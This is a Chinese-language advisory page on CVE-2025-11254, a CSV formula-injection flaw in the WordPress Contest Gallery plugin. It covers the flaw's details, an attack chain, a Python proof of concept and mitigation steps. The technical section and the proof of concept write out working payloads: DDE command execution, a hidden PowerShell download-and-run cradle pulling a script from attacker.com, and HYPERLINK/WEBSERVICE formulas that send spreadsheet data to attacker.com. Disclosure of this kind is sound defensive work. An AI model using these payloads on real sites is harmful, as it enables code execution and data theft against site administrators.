IPBUF安全漏洞报告
English
CVE-2025-11254 CVSS 4.3 中危

CVE-2025-11254 WordPress Contest Gallery插件CSV注入漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-11254
漏洞类型
CSV注入(CSV Injection / Formula Injection)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Contest Gallery – Upload, Vote & Sell with PayPal and Stripe(WordPress插件)

相关标签

CSV注入公式注入WordPressContest Gallery插件漏洞WordFence远程代码执行无需认证中危漏洞

漏洞概述

CVE-2025-11254是WordPress流行插件Contest Gallery(用于上传、投票及通过PayPal和Stripe销售)中存在的一个CSV注入漏洞。该插件在WordPress生态系统中拥有广泛的用户群体,允许网站管理员创建图片竞赛、投票活动以及电商功能。

该漏洞影响该插件所有27.0.3及以下版本,攻击者无需任何身份认证即可利用。漏洞源于插件在处理画廊提交(gallery submissions)数据时,未对用户输入进行充分的过滤和转义,直接将原始数据嵌入到导出的CSV文件中。当管理员或网站运营者下载这些CSV文件并在本地系统(如Microsoft Excel、LibreOffice Calc等)打开时,恶意注入的公式或命令将被自动执行,从而可能导致远程代码执行、数据泄露或系统被入侵。

该漏洞由WordFence安全团队([email protected])发现并报告,于2025年10月11日公开披露。插件开发者已在28.0.0版本中修复了此问题。CVSS评分为4.3分,属于中危级别,虽然利用需要用户交互(打开导出的CSV文件),但攻击向量为网络且无需认证,使得该漏洞仍具有较高的实际威胁性。

技术细节

CSV注入(也称为公式注入或Formula Injection)是一种利用电子表格软件自动执行嵌入公式特性的攻击方式。当应用程序将用户可控的输入未经处理地写入CSV文件时,攻击者可以注入以特定字符(如=、+、-、@)开头的字符串,这些字符在Excel等电子表格软件中会被识别为公式的开头。

在Contest Gallery插件中,攻击者通过画廊提交功能提交恶意载荷,例如参赛者的姓名、描述、评论等字段。这些字段中的数据在管理员导出参赛者信息为CSV格式时会被原样写入文件。攻击者可以在提交内容中嵌入类似`=cmd|'/c calc'!A1`、`=HYPERLINK("http://attacker.com?data="&A1,"Click Here")`或`=WEBSERVICE("http://attacker.com/exfil?data="&A1)`等危险公式。

当管理员下载并打开此CSV文件时,电子表格软件会自动解析这些公式并执行。对于Microsoft Excel,DDE(Dynamic Data Exchange)特性允许通过`=cmd|'/c powershell...'!A1`这样的语法执行系统命令;对于LibreOffice Calc,`=WEBSERVICE()`函数可以用于外带数据(exfiltrate sensitive data)。

利用条件包括:1)目标网站安装了Contest Gallery插件且版本≤27.0.3;2)攻击者能够通过画廊提交表单提交内容(通常无需认证);3)管理员导出CSV并使用存在漏洞的电子表格软件打开。漏洞的修复方法是在写入CSV前对以特殊字符开头的字段值进行前缀转义(如添加单引号`'`或制表符`\t`)。

攻击链分析

STEP 1
步骤1:信息收集
攻击者使用WordPress扫描工具(如WPScan)识别目标网站是否安装了Contest Gallery插件,并确认其版本是否低于或等于27.0.3。
STEP 2
步骤2:定位画廊提交入口
攻击者访问目标网站,找到启用Contest Gallery插件的画廊页面,识别其提交表单的字段和提交接口(通常通过admin-ajax.php)。
STEP 3
步骤3:注入恶意载荷
攻击者通过画廊提交表单,在姓名、描述或评论等文本字段中提交以=、+、-、@等特殊字符开头的恶意公式(如=cmd|'/c calc'!A1)。该提交无需任何认证。
STEP 4
步骤4:等待管理员导出CSV
恶意数据被存储到WordPress数据库中。当网站管理员在后台导出参赛者信息或投票数据为CSV格式时,这些恶意公式被原样写入CSV文件。
STEP 5
步骤5:触发代码执行
管理员下载CSV文件并在本地使用Microsoft Excel或LibreOffice Calc打开时,恶意公式被自动解析执行。攻击者可借此执行系统命令、窃取敏感数据或建立持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11254 - Contest Gallery CSV Injection PoC # Attackers inject malicious formulas via gallery submission fields # (e.g., contestant name, description, comment fields) import requests TARGET_URL = "https://target-wordpress-site.com" # The Contest Gallery plugin typically exposes a submission endpoint # The exact endpoint varies based on gallery configuration SUBMIT_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Malicious CSV injection payloads # These will be embedded into exported CSV files and executed when opened in Excel/LibreOffice PAYLOADS = [ # Windows command execution via DDE in Excel '=cmd|\"/c calc.exe\"!A1', # PowerShell reverse shell (example) '=cmd|\"/c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")\"!A1', # Data exfiltration via HYPERLINK '=HYPERLINK("http://attacker.com/exfil?data="&A1, "Click for results")', # Data exfiltration via WEBSERVICE (LibreOffice) '=WEBSERVICE("http://attacker.com/exfil?"&A1)', # Alternative formula triggers '+cmd|\"/c calc\"!A1', '@SUM(1+1)*cmd|\"/c calc\"!A1', ] def inject_csv_payload(gallery_id, field_name, payload): """ Submit a malicious payload through the Contest Gallery submission form. The payload will be stored in the database and later exported to CSV. """ data = { "action": "cg_submit_gallery", # Plugin-specific action "cg_gallery_id": gallery_id, "cg_upload": "1", field_name: payload, # Inject into a text field like name/description } response = requests.post(SUBMIT_ENDPOINT, data=data) return response # Example usage: inject payload into contestant name field # gallery_id should be replaced with a valid gallery ID from the target site for payload in PAYLOADS: result = inject_csv_payload(gallery_id="1", field_name="cg_name", payload=payload) print(f"Payload submitted: {payload[:50]}... | Status: {result.status_code}") # After submission, when an admin exports gallery data as CSV, # the malicious formulas will be embedded in the exported file. # Opening the CSV in Excel/LibreOffice triggers code execution.

影响范围

Contest Gallery <= 27.0.3

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)限制画廊提交功能,仅允许已认证用户提交;2)通过Web应用防火墙(WAF)规则过滤提交内容中的特殊字符(=、+、-、@等公式触发字符);3)管理员在打开导出的CSV文件前,先使用文本编辑器(如Notepad++)检查内容,或将文件扩展名改为.txt后再用电子表格软件打开;4)在Excel中禁用DDE功能和宏执行;5)定期审计已导出的CSV文件,确保未包含可疑公式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表